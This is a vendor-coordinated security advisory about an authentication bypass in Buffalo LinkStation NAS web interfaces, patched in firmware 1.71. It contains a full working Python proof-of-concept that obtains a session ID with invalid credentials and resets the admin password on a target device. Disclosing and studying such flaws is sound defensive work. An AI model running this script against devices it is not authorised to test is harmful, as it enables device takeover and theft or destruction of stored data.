skip to navigation. Skip to the content.
> Advisories > rt-sa-2015-006 vertical divider

Buffalo LinkStation Authentication Bypass

An authentication bypass vulnerability in the web interface of a Buffalo LinkStation Duo Network Attached Storage (NAS) device allows unauthenticated attackers to gain administrative privileges. This puts the confidentiality and integrity of the stored data as well as the integrity of the device configuration at high risk.


Details
=======

Product: Buffalo LinkStation Duo (LS-WXL), LS-CHL(v2), LS-XHL,
LS-WVL, LS-WSX, LS-VL, LS-QVL, LS-XL
Affected Versions: 1.34, 1.69, 1.70
Fixed Version: 1.71
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: http://www.buffalotech.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-006
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

LinkStation is a brand name of Network Attached Storage (NAS) devices manufactured by the Japanese company Buffalo. The stored data can be accessed via several protocols such as SMB, FTP, AFP and HTTP. A web interface is provided for management purposes.


More Details
============

The web interface can be reached via HTTP in a web browser. On opening the web interface the user is first presented a login screen where a username and a password must be supplied. On submission, an HTTP POST request is performed by the browser:

POST /dynamic.pl HTTP/1.1
Host: 192.168.1.2
[...]

bufaction=verifyLogin&user=RedTeam&password=Pentesting

In the request above, the username "RedTeam" and the password "Pentesting" were supplied. The chosen credentials are invalid as no user with that name exists. The application responds with a JSON-type reply:

HTTP/1.0 200 OK
[...]

{
"data": [
{
"pageMode": 2,
"sid": "5e0f9249a6cc5137d051514c47b2bb9b"
}
],
"errors": [],
"success": false
}

On the contrary, if valid credentials of an administrative account are supplied, a reply similar to the following is received:

HTTP/1.0 200 OK
[...]

{
"data": [
{
"pageMode": 0,
"sid": "b9466fbff0c2f277449015d6e110b173"
}
],
"errors": [],
"success": true
}

It was found that in both cases valid session IDs are generated and only the client-side JavaScript web interface restricts their usage. This is triggered by the key "success" within the reply. If the field is set to "false", an error is reported and the user is asekd to authenticate again.  Otherwise, the user is allowed to use the web interface. 

Furthermore, the administrative functions are restricted only on the client-side as well. The key "pageMode" was found to be one of the three integers representing the type of the user account:

0 - administrator
1 - regular user without administrative privileges
2 - guest user without any privileges

Thus, an attacker may simply provide invalid credentials while tampering the keys "success" and "pageMode" of the reply in transit (for example by using a proxy). The attacker may then use the web interface as an administrative user from the browser. Alternatively, a valid session ID may be requested using invalid credentials and then used directly to execute privileged operations by sending the appropriate POST requests. This eliminates the need for tampering the returned JSON-data. Such an attack is implemented in the Proof of Concept section.


Proof of Concept
================

The following Python script exploits the described vulnerability and sets the password of the "admin"-account to an attacker supplied value. 

------------------------------------------------------------------------
#!/usr/bin/python

import argparse
import requests
import json
import sys

parser = argparse.ArgumentParser(description='Buffalo LinkStation ' +
    'Authentication Bypass PoC')
parser.add_argument('host', help='Hostname or IP address of target ' +
    'device', type=str)
parser.add_argument('-p', '--port', help='Port of target device',
    type=int, default=443)
parser.add_argument('password', help='New admin password', type=str)
args = parser.parse_args()

def get_session_id(url):
    headers = {'User-Agent': None}
    payload = {'bufaction': 'verifyLogin', 'user': 'RedTeam',
        'password': 'Pentesting'}
    try:
        sys.stdout.write("Trying to get a session ID... ")
        sys.stdout.flush()
        r = requests.post(url, headers=headers, data=payload,
            verify=False)
    except:
        sys.stdout.write("could not connect to target.\n")
        sys.stdout.flush()
        return False
    if r.status_code != 200:
        sys.stdout.write("bad reply.\n")
        sys.stdout.flush()
        return False
    try:
        reply = json.loads(r.text)
        sid = reply['data'][0]['sid']
    except:
        sys.stdout.write("error while parsing reply.")
        sys.stdout.flush()
        return False
    #do not check success key of JSON reply here.
    #it will most likely be false (user/password wrong)!
    sys.stdout.write("ok.\n")
    sys.stdout.flush()
    return sid

def set_admin_password(url, sid, password):
    headers = {'User-Agent': None}
    payload = {'bufaction': 'setUserSettingsadmin', 'userName': 'admin',
        'userId': '52', 'userDesc': 'Built-in account for ' +
        'administering the system', 'pwd': args.password, 'confPwd':
        args.password, 'primGroup': 'admin', 'quota_soft': '',
        'quota_hard': ''}
    cookies = {'webui_session_RedTeam': '%s_en_0' % sid}
    try:
        sys.stdout.write("Trying to set admin password to %s... " %
            password)
        sys.stdout.flush()
        r = requests.post(url, headers=headers, cookies=cookies,
            data=payload, verify=False)
    except:
        sys.stdout.write("could not connect to target.\n")
        sys.stdout.flush()
        return False
    if r.status_code != 200:
        sys.stdout.write("bad reply.\n")
        sys.stdout.flush()
        return False
    try:
        reply = json.loads(r.text)
        success = reply['success']
    except:
        sys.stdout.write("error while parsing reply.\n")
        sys.stdout.flush()
        return False
    if success == True:
        sys.stdout.write("ok.\n")
        sys.stdout.flush()
    else:
        sys.stdout.write("failed.\n")
        sys.stdout.flush()
    return success

requests.packages.urllib3.disable_warnings()
url = "https://%s:%s/dynamic.pl" % (args.host, args.port)
sid = get_session_id(url)
if sid == False:
    sys.exit(-1)

if set_admin_password(url, sid, args.password) == True:
    sys.stdout.write("\n")
    sys.stdout.write("Admin password successfully set!\n")
    sys.stdout.write("URL: https://%s:%s/\n" % (args.host, args.port))
    sys.stdout.write("New credentials: admin : %s\n" % args.password)
    sys.exit(0)
else:
    sys.exit(-1)
------------------------------------------------------------------------ 


Workaround
==========

If possible, disable access to the web interface, for example via an ACL in the responsible ethernet switch.


Fix
===

Users should install firmware version 1.71 or higher to ensure proper server-side authentication. In addition, a password should be set for the "guest" user account, which is by default present and enabled, but does not have a password.


Security Risk
=============

This vulnerability allows an unauthenticated attacker to gain administrative privileges on a Buffalo LinkStation. All attached storage devices may then be accessed by the attacker. This puts the available data at risk as confidential information may be disclosed, valuable information destroyed or manipulated. Depending on the firmware of the device, an attacker may also be able execute malicious code on the LinkStation either via installing a customized firmware image[0] or by exploiting a publicly disclosed remote command injection vulnerability[1].

It is therefore estimated that the vulnerability poses a high risk to anyone who uses an affected device.


Timeline
========

2015-03-30 Vulnerability identified
2015-04-09 Customer approved disclosure to vendor
2015-06-09 Vendor notified
2015-06-09 Vendor responds: vulnerability is fixed in version 1.70
2015-06-09 Verified that vulnerability is not fixed in version 1.70
2015-06-09 Vendor responded: vulnerability is already known and being
worked on, release date is not known
2015-06-09 Vendor provided list of affected devices
2015-07-10 Vendor queried for update, no response
2015-08-03 Vendor queried for update (by phone)
2015-08-04 Vendor responded: advisory has been forwarded to development.
2015-08-04 Vendor queried for estimated fix
2015-08-13 Vendor announced fixed version 1.71
2015-09-04 CVE ID requested
2015-09-07 RedTeam verified that the vulnerability has been fixed
2015-10-07 CVE ID not assigned, may be "duplicate finding"
2015-10-08 Advisory published


References
==========

[0] http://buffalo.nas-central.org/wiki/Category:LS-WXL
[1] https://www.andreafabrizi.it/?exploits:terastation


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. 

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de.